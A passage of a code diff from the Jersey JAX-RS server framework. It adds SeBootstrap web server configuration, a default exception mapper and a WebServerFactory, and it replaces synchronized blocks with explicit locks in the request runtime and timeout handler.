+            PROPERTY_TYPES.put(ServerProperties.WEBSERVER_ALLOW_PRIVILEGED_PORTS, Boolean.class);
+            PROPERTY_TYPES.put(ServerProperties.WEBSERVER_AUTO_START, Boolean.class);
+            PROPERTY_TYPES.put(ServerProperties.WEBSERVER_CLASS, Class.class);
+        }
+
+        private final Map<String, Object> properties = new HashMap<>();
+
+        private Builder() {
+            this.properties.put(SeBootstrap.Configuration.PROTOCOL, "HTTP"); // upper case mandated by javadoc
+            this.properties.put(SeBootstrap.Configuration.HOST, "localhost");
+            this.properties.put(SeBootstrap.Configuration.PORT, -1); // Auto-select port 8080 for HTTP or 8443 for HTTPS
+            this.properties.put(SeBootstrap.Configuration.ROOT_PATH, "/");
+            this.properties.put(ServerProperties.WEBSERVER_CLASS, WebServer.class); // Auto-select first provider
+            try {
+                this.properties.put(SeBootstrap.Configuration.SSL_CONTEXT, SSLContext.getDefault());
+            } catch (final NoSuchAlgorithmException e) {
+                throw new RuntimeException(e);
+            }
+            this.properties.put(SeBootstrap.Configuration.SSL_CLIENT_AUTHENTICATION,
+                    SeBootstrap.Configuration.SSLClientAuthentication.NONE);
+            this.properties.put(ServerProperties.WEBSERVER_AUTO_START, TRUE);
+            this.properties.put(ServerProperties.WEBSERVER_ALLOW_PRIVILEGED_PORTS, FALSE);
+
+            SystemPropertiesConfigurationModel propertiesConfigurationModel = new SystemPropertiesConfigurationModel(
+                    Collections.singletonList(Properties.class.getName())
+            );
+            from((name, aClass) -> String.class.equals(aClass) || Integer.class.equals(aClass) || Boolean.class.equals(aClass)
+                    ? propertiesConfigurationModel.getOptionalProperty(name, aClass)
+                    : Optional.empty()
+            );
+        }
+
+        @Override
+        public JerseySeBootstrapConfiguration build() {
+            return JerseySeBootstrapConfiguration.from(this.properties::get);
+        }
+
+        @Override
+        public Builder property(String name, Object value) {
+            this.properties.put(name, value);
+            return this;
+        }
+
+        /**
+         * Set the the respective {@link WebServer} class to be used by the
+         * {@link org.glassfish.jersey.server.spi.WebServerProvider}.
+         * @param webServerClass the class implementing {@link WebServer}.
+         * @return the updated builder.
+         */
+        public Builder webServerClass(Class<? extends WebServer> webServerClass) {
+            return property(ServerProperties.WEBSERVER_CLASS, webServerClass);
+        }
+
+        /**
+         * Define if the {@link WebServer} should auto-start at bootstrap.
+         * @param autostart the auto-start flag.
+         * @return the updated builder.
+         */
+        public Builder autoStart(Boolean autostart) {
+            return property(ServerProperties.WEBSERVER_AUTO_START, autostart);
+        }
+
+        @Override
+        public <T> JerseySeBootstrapConfiguration.Builder from(BiFunction<String, Class<T>, Optional<T>> configProvider) {
+            PROPERTY_TYPES.forEach(
+                    (propertyName, propertyType) -> configProvider.apply(propertyName, (Class<T>) propertyType)
+                            .ifPresent(propertyValue -> this.properties.put(propertyName, propertyValue)));
+            return this;
+        }
+
+        @Override
+        public JerseySeBootstrapConfiguration.Builder from(Object externalConfig) {
+            if (SeBootstrap.Configuration.class.isInstance(externalConfig)) {
+                final SeBootstrap.Configuration other = (SeBootstrap.Configuration) externalConfig;
+                from((name, clazz) -> {
+                    final Object property = other.property(name);
+                    if (property != null) {
+                        if (clazz.equals(property.getClass())) {
+                            return Optional.of(property);
+                        } else {
+                            LOGGER.warning(LocalizationMessages.IGNORE_SEBOOTSTRAP_CONFIGURATION_PROPERTY(name, clazz));
+                        }
+                    }
+                    return Optional.empty();
+                });
+            }
+            return this;
+        }
+    }
+
+    /**
+     * Name the properties to be internally read from System properties by {@link ExternalPropertiesConfigurationFactory}.
+     * This is required just when SecurityManager is on, otherwise all system properties are read.
+     */
+    @PropertiesClass
+    private static class Properties {
+        /**
+         * See {@link SeBootstrap.Configuration#PROTOCOL} property.
+         */
+        public static final String SE_BOOTSTRAP_CONFIGURATION_PROTOCOL = SeBootstrap.Configuration.PROTOCOL;
+
+        /**
+         * See {@link SeBootstrap.Configuration#HOST} property.
+         */
+        public static final String SE_BOOTSTRAP_CONFIGURATION_HOST = SeBootstrap.Configuration.HOST;
+
+        /**
+         * See {@link SeBootstrap.Configuration#PORT} property.
+         */
+        public static final String SE_BOOTSTRAP_CONFIGURATION_PORT = SeBootstrap.Configuration.PORT;
+
+        /**
+         * See {@link SeBootstrap.Configuration#ROOT_PATH} property.
+         */
+        public static final String SE_BOOTSTRAP_CONFIGURATION_ROOT_PATH = SeBootstrap.Configuration.ROOT_PATH;
+
+        /**
+         * See {@link ServerProperties#WEBSERVER_ALLOW_PRIVILEGED_PORTS} property.
+         */
+        public static final String WEBSERVER_ALLOW_PRIVILEGED_PORTS  = ServerProperties.WEBSERVER_ALLOW_PRIVILEGED_PORTS;
+
+        /**
+         * See {@link ServerProperties#WEBSERVER_AUTO_START} property.
+         */
+        public static final String WEBSERVER_AUTO_START = ServerProperties.WEBSERVER_AUTO_START;
+    }
+}
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ResourceConfig.java b/core-server/src/main/java/org/glassfish/jersey/server/ResourceConfig.java
index 5575335..6fc7a2a 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/ResourceConfig.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/ResourceConfig.java
@@ -757,6 +757,11 @@
     }
 
     @Override
+    public final boolean hasProperty(final String name) {
+        return state.hasProperty(name);
+    }
+
+    @Override
     public final Object getProperty(final String name) {
         return state.getProperty(name);
     }
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ServerBinder.java b/core-server/src/main/java/org/glassfish/jersey/server/ServerBinder.java
index 03482f9..4cf65c8 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/ServerBinder.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/ServerBinder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2021 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,6 +16,7 @@
 
 package org.glassfish.jersey.server;
 
+import jakarta.ws.rs.ext.ExceptionMapper;
 import jakarta.ws.rs.ext.MessageBodyWriter;
 import jakarta.ws.rs.ext.WriterInterceptor;
 
@@ -44,5 +45,8 @@
 
         // JSONP
         bind(JsonWithPaddingInterceptor.class).to(WriterInterceptor.class).in(Singleton.class);
+
+        //Default exception mapper
+        bind(DefaultExceptionMapper.class).to(ExceptionMapper.class).in(Singleton.class);
     }
 }
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ServerProperties.java b/core-server/src/main/java/org/glassfish/jersey/server/ServerProperties.java
index 6414204..3ef8565 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/ServerProperties.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/ServerProperties.java
@@ -24,6 +24,8 @@
 import org.glassfish.jersey.internal.util.PropertiesClass;
 import org.glassfish.jersey.internal.util.PropertiesHelper;
 import org.glassfish.jersey.internal.util.PropertyAlias;
+import org.glassfish.jersey.server.spi.Container;
+import org.glassfish.jersey.server.spi.WebServer;
 
 
 /**
@@ -783,6 +785,50 @@
             "jersey.config.server.empty.request.media.matches.any.consumes";
 
     /**
+     * Defines whether to allow privileged ports (0-1023) to be used to start the {@link WebServer} implementation
+     * to be chosen from the unused ports when the {@link jakarta.ws.rs.SeBootstrap.Configuration#PORT} is set to {@code -1}
+     * or unset.
+     * <p>
+     * The default ports are {@link Container#DEFAULT_HTTP_PORT} for HTTP and {@link Container#DEFAULT_HTTPS_PORT}
+     * for HTTPS when {@code WEBSERVER_ALLOW_PRIVILEGED_PORTS} is {@code true} or 8080 for HTTP and 8443 for HTTPS when
+     * {@code WEBSERVER_ALLOW_PRIVILEGED_PORTS} is {@code false}.
+     * </p>
+     * <p>
+     * If {@link jakarta.ws.rs.SeBootstrap.Configuration#PORT} is set to {@code 0}, the implementation scans for random unused
+     * port (0-65535) when {@code WEBSERVER_ALLOW_PRIVILEGED_PORTS} is {@code true}, or (1024-65535) when
+     * {@code WEBSERVER_ALLOW_PRIVILEGED_PORTS} is {@code false.}
+     * </p>
+     * <p>
+     * The default this is {@code false}. Use {@code true} to allow a restricted port number. The name of the configuration
+     * property is <tt>{@value}</tt>.
+     * </p>
+     * @since 3.1.0
+     */
+    public static final String WEBSERVER_ALLOW_PRIVILEGED_PORTS =
+            "jersey.config.server.bootstrap.webserver.allow.privileged.ports";
+
+    /**
+     * Whether to automatically startup {@link WebServer} at bootstrap.
+     * <p>
+     * By default, servers are immediately listening to connections after bootstrap,
+     * so no explicit invocation of {@link WebServer#start()} is needed. The name of the configuration
+     * property is <tt>{@value}</tt>.
+     * </p>
+     * @since 3.1.0
+     */
+    public static final String WEBSERVER_AUTO_START = "jersey.config.server.bootstrap.webserver.autostart";
+
+    /**
+     * Defines the implementation of {@link WebServer} to bootstrap.
+     * <p>
+     * By default auto-selects the first server provider found. The name of the configuration
+     * property is <tt>{@value}</tt>.
+     * </p>
+     * @since 3.1.0
+     */
+    public static final String WEBSERVER_CLASS = "jersey.config.server.bootstrap.webserver.class";
+
+    /**
      * JVM argument to define the value of
      * {@link org.glassfish.jersey.server.internal.monitoring.core.ReservoirConstants#COLLISION_BUFFER_POWER}.
      * Lower values reduce the memory footprint.
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ServerRuntime.java b/core-server/src/main/java/org/glassfish/jersey/server/ServerRuntime.java
index 04d820d..531e927 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/ServerRuntime.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/ServerRuntime.java
@@ -34,6 +34,8 @@
 import java.util.concurrent.ExecutorService;
 import java.util.concurrent.ScheduledExecutorService;
 import java.util.concurrent.TimeUnit;
+import java.util.concurrent.locks.ReadWriteLock;
+import java.util.concurrent.locks.ReentrantReadWriteLock;
 import java.util.logging.Level;
 import java.util.logging.Logger;
 
@@ -128,6 +130,19 @@
     /** Resolve relative URIs according to RFC7231 (not JAX-RS 2.0 compliant */
     private final boolean rfc7231LocationHeaderRelativeUriResolution;
 
+    /**
+     * Cached value of configuration property
+     * {@link org.glassfish.jersey.server.ServerProperties#RESPONSE_SET_STATUS_OVER_SEND_ERROR}.
+     * If {@code true} method {@link ServerRuntime.CompletionCallbackRunner#onComplete(Throwable)}
+     * is used over {@link DefaultExceptionMapper#toResponse(Throwable)}.
+     */
+    private final boolean configSetStatusOverSendError;
+
+    /**
+     * Default exception mapper (@since 3.1.0 according to JAX-RS 3.1 spec)
+     */
+    private static final ExceptionMapper<Throwable> DEFAULT_EXCEPTION_MAPPER = new DefaultExceptionMapper();
+
     static ServerRuntime createServerRuntime(
             InjectionManager injectionManager,
             ServerBootstrapBag bootstrapBag,
@@ -190,6 +205,9 @@
         this.rfc7231LocationHeaderRelativeUriResolution = ServerProperties.getValue(configuration.getProperties(),
                 ServerProperties.LOCATION_HEADER_RELATIVE_URI_RESOLUTION_RFC7231,
                 Boolean.FALSE, Boolean.class);
+
+        this.configSetStatusOverSendError = ServerProperties.getValue(configuration.getProperties(),
+                ServerProperties.RESPONSE_SET_STATUS_OVER_SEND_ERROR, false, Boolean.class);
     }
 
     /**
@@ -367,11 +385,11 @@
 
         public void process(ContainerResponse response) {
             processingContext.monitoringEventBuilder().setContainerResponse(response);
-            response = processResponse(response);
+            response = processResponse(response, null);
             release(response);
         }
 
-        private ContainerResponse processResponse(ContainerResponse response) {
+        private ContainerResponse processResponse(ContainerResponse response, Throwable unmappedThrowable) {
             final Stage<ContainerResponse> respondingRoot = processingContext.createRespondingRoot();
 
             if (respondingRoot != null) {
@@ -381,7 +399,23 @@
 
             // no-exception zone
             // the methods below are guaranteed to not throw any exceptions
-            completionCallbackRunner.onComplete(null);
+            completionCallbackRunner.onComplete(unmappedThrowable);
+            return response;
+        }
+
+        private ContainerResponse preProcessResponse(Response exceptionResponse, ContainerRequest request) {
+            final ContainerResponse response;
+            try {
+                response = convertResponse(exceptionResponse);
+                if (!runtime.disableLocationHeaderRelativeUriResolution) {
+                    ensureAbsolute(response.getLocation(), response.getHeaders(), request,
+                            runtime.rfc7231LocationHeaderRelativeUriResolution);
+                }
+                processingContext.monitoringEventBuilder().setContainerResponse(response)
+                        .setResponseSuccessfullyMapped(true);
+            } finally {
+                processingContext.triggerEvent(RequestEvent.Type.EXCEPTION_MAPPING_FINISHED);
+            }
             return response;
         }
 
@@ -408,22 +442,12 @@
             processingContext.triggerEvent(RequestEvent.Type.ON_EXCEPTION);
 
             ContainerResponse response = null;
+            ContainerResponse defaultMapperResponse = null;
             try {
                 final Response exceptionResponse = mapException(throwable);
                 try {
-                    try {
-                        response = convertResponse(exceptionResponse);
-                        if (!runtime.disableLocationHeaderRelativeUriResolution) {
-                            ensureAbsolute(response.getLocation(), response.getHeaders(), request,
-                                    runtime.rfc7231LocationHeaderRelativeUriResolution);
-                        }
-                        processingContext.monitoringEventBuilder().setContainerResponse(response)
-                                .setResponseSuccessfullyMapped(true);
-                    } finally {
-                        processingContext.triggerEvent(RequestEvent.Type.EXCEPTION_MAPPING_FINISHED);
-                    }
-
-                    processResponse(response);
+                    response = preProcessResponse(exceptionResponse, request);
+                    processResponse(response, null);
                 } catch (final Throwable respError) {
                     LOGGER.log(Level.SEVERE, LocalizationMessages.ERROR_PROCESSING_RESPONSE_FROM_ALREADY_MAPPED_EXCEPTION());
                     processingContext.monitoringEventBuilder()
@@ -439,16 +463,23 @@
 
                 if (!processResponseError(responseError)) {
                     // Pass the exception to the container.
-                    LOGGER.log(Level.FINE, LocalizationMessages.ERROR_EXCEPTION_MAPPING_THROWN_TO_CONTAINER(), responseError);
-
                     try {
                         request.getResponseWriter().failure(responseError);
                     } finally {
-                        completionCallbackRunner.onComplete(responseError);
+                        if (runtime.configSetStatusOverSendError) {
+                            completionCallbackRunner.onComplete(responseError);
+                        } else {
+                            LOGGER.log(Level.WARNING,
+                                    LocalizationMessages.ERROR_EXCEPTION_MAPPING_THROWN_TO_CONTAINER(),
+                                    responseError);
+                            defaultMapperResponse = processResponseWithDefaultExceptionMapper(responseError, request);
+                        }
                     }
+
                 }
+
             } finally {
-                release(response);
+                release(response, defaultMapperResponse);
             }
         }
 
@@ -480,7 +511,7 @@
 
                     if (processedError != null) {
                         processedResponse =
-                                processResponse(new ContainerResponse(processingContext.request(), processedError));
+                                processResponse(new ContainerResponse(processingContext.request(), processedError), null);
                         processed = true;
                     }
                 } catch (final Throwable throwable) {
@@ -510,6 +541,7 @@
 
             do {
                 final Throwable throwable = wrap.getCurrent();
+
                 if (wrap.isInMappable() || throwable instanceof WebApplicationException) {
                     // in case ServerProperties.PROCESSING_RESPONSE_ERRORS_ENABLED is true, allow
                     // wrapped MessageBodyProviderNotFoundException to propagate
@@ -535,47 +567,9 @@
 
                     final long timestamp = tracingLogger.timestamp(ServerTraceEvent.EXCEPTION_MAPPING);
                     final ExceptionMapper mapper = runtime.exceptionMappers.findMapping(throwable);
-                    if (mapper != null) {
-                        processingContext.monitoringEventBuilder().setExceptionMapper(mapper);
-                        processingContext.triggerEvent(RequestEvent.Type.EXCEPTION_MAPPER_FOUND);
-                        try {
-                            final Response mappedResponse = mapper.toResponse(throwable);
-
-                            if (tracingLogger.isLogEnabled(ServerTraceEvent.EXCEPTION_MAPPING)) {
-                                tracingLogger.logDuration(ServerTraceEvent.EXCEPTION_MAPPING,
-                                        timestamp, mapper, throwable, throwable.getLocalizedMessage(),
-                                        mappedResponse != null ? mappedResponse.getStatusInfo() : "-no-response-");
-                            }
-
-                            // set mapped throwable
-                            processingContext.routingContext().setMappedThrowable(throwable);
-
-                            if (mappedResponse != null) {
-                                // response successfully mapped
-                                if (LOGGER.isLoggable(Level.FINER)) {
-                                    final String message = String.format(
-                                            "Exception '%s' has been mapped by '%s' to response '%s' (%s:%s).",
-                                            throwable.getLocalizedMessage(),
-                                            mapper.getClass().getName(),
-                                            mappedResponse.getStatusInfo().getReasonPhrase(),
-                                            mappedResponse.getStatusInfo().getStatusCode(),
-                                            mappedResponse.getStatusInfo().getFamily());
-                                    LOGGER.log(Level.FINER, message);
-                                }
-                                return mappedResponse;
-                            } else {
-                                return Response.noContent().build();
-                            }
-                        } catch (final Throwable mapperThrowable) {
-                            // spec: If the exception mapping provider throws an exception while creating a Response
-                            // then return a server error (status code 500) response to the client.
-                            LOGGER.log(Level.SEVERE, LocalizationMessages.EXCEPTION_MAPPER_THROWS_EXCEPTION(mapper.getClass()),
-                                    mapperThrowable);
-                            LOGGER.log(Level.SEVERE, LocalizationMessages.EXCEPTION_MAPPER_FAILED_FOR_EXCEPTION(), throwable);
-                            return Response.serverError().build();
-                        }
+                    if (mapper != null && !DefaultExceptionMapper.class.isInstance(mapper)) {
+                        return processExceptionWithMapper(mapper, throwable, timestamp);
                     }
-
                     if (waeResponse != null) {
                         LOGGER.log(Level.FINE, LocalizationMessages
                                 .EXCEPTION_MAPPING_WAE_NO_ENTITY(waeResponse.getStatus()), throwable);
@@ -589,7 +583,6 @@
                         return Response.status(Response.Status.BAD_REQUEST).build();
                     }
                 }
-
                 if (!wrap.isInMappable() || !wrap.isWrapped()) {
                     // user failures (thrown from Resource methods or provider methods)
 
@@ -605,6 +598,55 @@
             throw originalThrowable;
         }
 
+        private Response processExceptionWithMapper(ExceptionMapper mapper,
+                                                                      Throwable throwable, long timestamp) {
+            processingContext.monitoringEventBuilder().setExceptionMapper(mapper);
+            processingContext.triggerEvent(RequestEvent.Type.EXCEPTION_MAPPER_FOUND);
+            try {
+                final Response mappedResponse = mapper.toResponse(throwable);
+
+                if (isTracingLoggingEnabled(mapper, throwable, tracingLogger)) {
+                    tracingLogger.logDuration(ServerTraceEvent.EXCEPTION_MAPPING,
+                            timestamp, mapper, throwable, throwable.getLocalizedMessage(),
+                            mappedResponse != null ? mappedResponse.getStatusInfo() : "-no-response-");
+                }
+
+                // set mapped throwable
+                processingContext.routingContext().setMappedThrowable(throwable);
+
+                if (mappedResponse != null) {
+                    // response successfully mapped
+                    if (LOGGER.isLoggable(Level.FINER)) {
+                        final String message = String.format(
+                                "Exception '%s' has been mapped by '%s' to response '%s' (%s:%s).",
+                                throwable.getLocalizedMessage(),
+                                mapper.getClass().getName(),
+                                mappedResponse.getStatusInfo().getReasonPhrase(),
+                                mappedResponse.getStatusInfo().getStatusCode(),
+                                mappedResponse.getStatusInfo().getFamily());
+                        LOGGER.log(Level.FINER, message);
+                    }
+                    return mappedResponse;
+                } else {
+                    return Response.noContent().build();
+                }
+            } catch (final Throwable mapperThrowable) {
+                // spec: If the exception mapping provider throws an exception while creating a Response
+                // then return a server error (status code 500) response to the client.
+                LOGGER.log(Level.SEVERE, LocalizationMessages.EXCEPTION_MAPPER_THROWS_EXCEPTION(mapper.getClass()),
+                        mapperThrowable);
+                LOGGER.log(Level.SEVERE, LocalizationMessages.EXCEPTION_MAPPER_FAILED_FOR_EXCEPTION(), throwable);
+                return Response.serverError().build();
+            }
+        }
+
+        private ContainerResponse processResponseWithDefaultExceptionMapper(Throwable exception,
+                                                                            ContainerRequest request) {
+            long timestamp = tracingLogger.timestamp(ServerTraceEvent.EXCEPTION_MAPPING);
+            final Response response = processExceptionWithMapper(DEFAULT_EXCEPTION_MAPPER, exception, timestamp);
+            return processResponse(preProcessResponse(response, request), exception);
+        }
+
         private ContainerResponse writeResponse(final ContainerResponse response) {
             final ContainerRequest request = processingContext.request();
             final ContainerResponseWriter writer = request.getResponseWriter();
@@ -736,16 +778,14 @@
                     .setResponseWritten(true);
         }
 
-        private void release(final ContainerResponse responseContext) {
+        private void release(final ContainerResponse... responseContexts) {
             try {
                 processingContext.closeableService().close();
 
                 // Commit the container response writer if not in chunked mode
                 // responseContext may be null in case the request processing was cancelled.
-                if (responseContext != null && !responseContext.isChunked()) {
-                    // responseContext.commitStream();
-                    responseContext.close();
-                }
+                Arrays.stream(responseContexts).filter(responseContext -> responseContext != null
+                        && !responseContext.isChunked()).forEach(ContainerResponse::close);
 
             } catch (final Throwable throwable) {
                 LOGGER.log(Level.WARNING, LocalizationMessages.RELEASING_REQUEST_PROCESSING_RESOURCES_FAILED(), throwable);
@@ -754,6 +794,14 @@
                 processingContext.triggerEvent(RequestEvent.Type.FINISHED);
             }
         }
+
+        private static boolean isTracingLoggingEnabled(ExceptionMapper mapper, Throwable throwable, TracingLogger tracingLogger) {
+            boolean defaultLoggingState = mapper instanceof DefaultExceptionMapper
+                    && throwable instanceof WebApplicationException;
+            return !defaultLoggingState
+                    && tracingLogger.isLogEnabled(ServerTraceEvent.EXCEPTION_MAPPING);
+
+        }
     }
 
     private static class AsyncResponder implements AsyncContext, ContainerResponseWriter.TimeoutHandler, CompletionCallback {
@@ -767,7 +815,7 @@
             }
         };
 
-        private final Object stateLock = new Object();
+        private final ReadWriteLock stateLock = new ReentrantReadWriteLock();
         private State state = RUNNING;
         private boolean cancelled = false;
 
@@ -799,11 +847,13 @@
         @Override
         public void onTimeout(final ContainerResponseWriter responseWriter) {
             final TimeoutHandler handler = timeoutHandler;
+            stateLock.readLock().lock();
             try {
-                synchronized (stateLock) {
-                    if (state == SUSPENDED) {
-                        handler.handleTimeout(this);
-                    }
+                if (state == SUSPENDED) {
+                    stateLock.readLock().unlock(); // unlock before handleTimeout to prevent write lock in handleTimeout
+                    handler.handleTimeout(this);
+                } else {
+                    stateLock.readLock().unlock();
                 }
             } catch (final Throwable throwable) {
                 resume(throwable);
@@ -812,9 +862,9 @@
 
         @Override
         public void onComplete(final Throwable throwable) {
-            synchronized (stateLock) {
-                state = COMPLETED;
-            }
+            stateLock.writeLock().lock();
+            state = COMPLETED;
+            stateLock.writeLock().unlock();
         }
 
         @Override
@@ -842,14 +892,19 @@
 
         @Override
         public boolean suspend() {
-            synchronized (stateLock) {
-                if (state == RUNNING) {
-                    if (responder.processingContext.request().getResponseWriter().suspend(
-                            AsyncResponse.NO_TIMEOUT, TimeUnit.SECONDS, this)) {
-                        state = SUSPENDED;
-                        return true;
-                    }
+            stateLock.readLock().lock();
+            if (state == RUNNING) {
+                stateLock.readLock().unlock();
+                if (responder.processingContext.request().getResponseWriter().suspend(
+                        AsyncResponse.NO_TIMEOUT, TimeUnit.SECONDS, this)) {
+                    // Must release read lock before acquiring write lock
+                    stateLock.writeLock().lock();
+                    state = SUSPENDED;
+                    stateLock.writeLock().unlock();
+                    return true;
                 }
+            } else {
+                stateLock.readLock().unlock();
             }
             return false;
         }
@@ -892,12 +947,17 @@
         }
 
         private boolean resume(final Runnable handler) {
-            synchronized (stateLock) {
+            stateLock.readLock().lock();
+            try {
                 if (state != SUSPENDED) {
                     return false;
                 }
-                state = RESUMED;
+            } finally {
+                stateLock.readLock().unlock();
             }
+            stateLock.writeLock().lock();
+            state = RESUMED;
+            stateLock.writeLock().unlock();
 
             try {
                 responder.runtime.requestScope.runInScope(requestContext, handler);
@@ -945,7 +1005,8 @@
         }
 
         private boolean cancel(final Value<Response> responseValue) {
-            synchronized (stateLock) {
+            stateLock.readLock().lock();
+            try {
                 if (cancelled) {
                     return true;
                 }
@@ -953,10 +1014,15 @@
                 if (state != SUSPENDED) {
                     return false;
                 }
-                state = RESUMED;
-                cancelled = true;
+            } finally {
+                stateLock.readLock().unlock();
             }
 
+            stateLock.writeLock().lock();
+            state = RESUMED;
+            cancelled = true;
+            stateLock.writeLock().unlock();
+
             responder.runtime.requestScope.runInScope(requestContext, new Runnable() {
                 @Override
                 public void run() {
@@ -973,29 +1039,41 @@
         }
 
         public boolean isRunning() {
-            synchronized (stateLock) {
+            stateLock.readLock().lock();
+            try {
                 return state == RUNNING;
+            } finally {
+                stateLock.readLock().unlock();
             }
         }
 
         @Override
         public boolean isSuspended() {
-            synchronized (stateLock) {
+            stateLock.readLock().lock();
+            try {
                 return state == SUSPENDED;
+            } finally {
+                stateLock.readLock().unlock();
             }
         }
 
         @Override
         public boolean isCancelled() {
-            synchronized (stateLock) {
+            stateLock.readLock().lock();
+            try {
                 return cancelled;
+            } finally {
+                stateLock.readLock().unlock();
             }
         }
 
         @Override
         public boolean isDone() {
-            synchronized (stateLock) {
+            stateLock.readLock().lock();
+            try {
                 return state == COMPLETED;
+            } finally {
+                stateLock.readLock().unlock();
             }
         }
 
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/WebServerFactory.java b/core-server/src/main/java/org/glassfish/jersey/server/WebServerFactory.java
new file mode 100644
index 0000000..2b61d4a
--- /dev/null
+++ b/core-server/src/main/java/org/glassfish/jersey/server/WebServerFactory.java
@@ -0,0 +1,114 @@
+/*
+ * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.server;
+
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.core.Application;
+
+import org.glassfish.jersey.internal.ServiceFinder;
+import org.glassfish.jersey.server.spi.WebServer;
+import org.glassfish.jersey.server.spi.WebServerProvider;
+
+/**
+ * Factory for creating specific HTTP servers.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+public final class WebServerFactory {
+
+    /**
+     * Prevents instantiation.
+     */
+    private WebServerFactory() {
+    }
+
+    /**
+     * Creates a server of a given type which runs the given application using the
+     * given bootstrap configuration.
+     * <p>
+     * The list of service-providers supporting the {@link WebServerProvider}
+     * service-provider will be iterated over until one returns a non-null server
+     * instance.
+     * <p>
+     *
+     * @param <T>
+     *            the type of the server.
+     * @param type
+     *            the type of the server. Providers SHOULD support at least
+     *            {@link WebServer}.
+     * @param application
+     *            The application to host.
+     * @param configuration
+     *            The configuration (host, port, etc.) to be used for bootstrapping.
+     * @return the created server.
+     * @throws ProcessingException
+     *             if there is an error creating the server.
+     * @throws IllegalArgumentException
+     *             if no server provider supports the type.
+     */
+    public static <T extends WebServer> T createServer(final Class<T> type, final Application application,
+                                                       final SeBootstrap.Configuration configuration) {
+        for (final WebServerProvider webServerProvider : ServiceFinder.find(WebServerProvider.class)) {
+            final T server = webServerProvider.createServer(type, application, configuration);
+            if (server != null) {
+                return server;
+            }
+        }
+
+        throw new IllegalArgumentException("No server provider supports the type " + type);
+    }
+
+    /**
+     * Creates a server of a given type which runs the given application using the
+     * given bootstrap configuration.
+     * <p>
+     * The list of service-providers supporting the {@link WebServerProvider}
+     * service-provider will be iterated over until one returns a non-null server
+     * instance.
+     * <p>
+     *
+     * @param <T>
+     *            the type of the server.
+     * @param type
+     *            the type of the server. Providers SHOULD support at least
+     *            {@link WebServer}.
+     * @param application
+     *            The application to host.
+     * @param configuration
+     *            The configuration (host, port, etc.) to be used for bootstrapping.
+     * @return the created server.
+     * @throws ProcessingException
+     *             if there is an error creating the server.
+     * @throws IllegalArgumentException
+     *             if no server provider supports the type.
+     */
+    public static <T extends WebServer> T createServer(final Class<T> type, final Class<? extends Application> application,
+                                                       final SeBootstrap.Configuration configuration) {
+        for (final WebServerProvider webServerProvider : ServiceFinder.find(WebServerProvider.class)) {
+            final T server = webServerProvider.createServer(type, application, configuration);
+            if (server != null) {
+                return server;
+            }
+        }
+
+        throw new IllegalArgumentException("No server provider supports the type " + type);
+    }
+
+}
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/JerseyRequestTimeoutHandler.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/JerseyRequestTimeoutHandler.java
index 761065e..91ec565 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/JerseyRequestTimeoutHandler.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/JerseyRequestTimeoutHandler.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -19,6 +19,8 @@
 import java.util.concurrent.ScheduledExecutorService;
 import java.util.concurrent.ScheduledFuture;
 import java.util.concurrent.TimeUnit;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
 import java.util.logging.Level;
 import java.util.logging.Logger;
 
@@ -42,7 +44,7 @@
     private ScheduledFuture<?> timeoutTask = null; // guarded by runtimeLock
     private ContainerResponseWriter.TimeoutHandler timeoutHandler = null; // guarded by runtimeLock
     private boolean suspended = false; // guarded by runtimeLock
-    private final Object runtimeLock = new Object();
+    private final Lock runtimeLock = new ReentrantLock();
 
     private final ContainerResponseWriter containerResponseWriter;
     private final ScheduledExecutorService executor;
@@ -71,7 +73,8 @@
      * @see ContainerResponseWriter#suspend(long, TimeUnit, ContainerResponseWriter.TimeoutHandler)
      */
     public boolean suspend(final long timeOut, final TimeUnit unit, final TimeoutHandler handler) {
-        synchronized (runtimeLock) {
+        runtimeLock.lock();
+        try {
             if (suspended) {
                 return false;
             }
@@ -81,6 +84,8 @@
 
             containerResponseWriter.setSuspendTimeout(timeOut, unit);
             return true;
+        } finally {
+            runtimeLock.unlock();
         }
     }
 
@@ -94,7 +99,8 @@
      * @see ContainerResponseWriter#setSuspendTimeout(long, TimeUnit)
      */
     public void setSuspendTimeout(final long timeOut, final TimeUnit unit) throws IllegalStateException {
-        synchronized (runtimeLock) {
